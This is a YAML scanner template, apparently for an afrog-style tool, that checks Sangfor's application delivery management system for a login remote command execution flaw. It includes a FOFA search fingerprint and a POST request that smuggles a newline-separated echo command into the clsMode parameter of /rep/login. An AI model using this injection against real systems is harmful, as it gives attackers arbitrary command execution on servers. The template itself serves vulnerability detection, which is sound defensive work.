sangfor-login-rce: 深信服 应用交付管理系统 login 远程命令执行漏洞

id: sangfor-login-rce

info:
  name: 深信服 应用交付管理系统 login 远程命令执行漏洞
  author: zan8in
  severity: high
  verified: true
  description: |
    深信服 应用交付管理系统 login 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，执行任意命令
    FOFA: fid="iaytNA57019/kADk8Nev7g=="
  reference:
    - https://peiqi.wgpsec.org/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20login%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
  tags: sangfor,rce
  created: 2023/08/09

set:
  r1: randomLowercase(30)
rules:
  r0:
    request:
      method: POST
      path: /rep/login
      body: |
        clsMode=cls_mode_login%0Aecho+{{r1}}%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123
    expression: response.status == 200 && response.body.bcontains(bytes(r1)) && response.body.bcontains(b'cluster_mode_other')
expression: r0()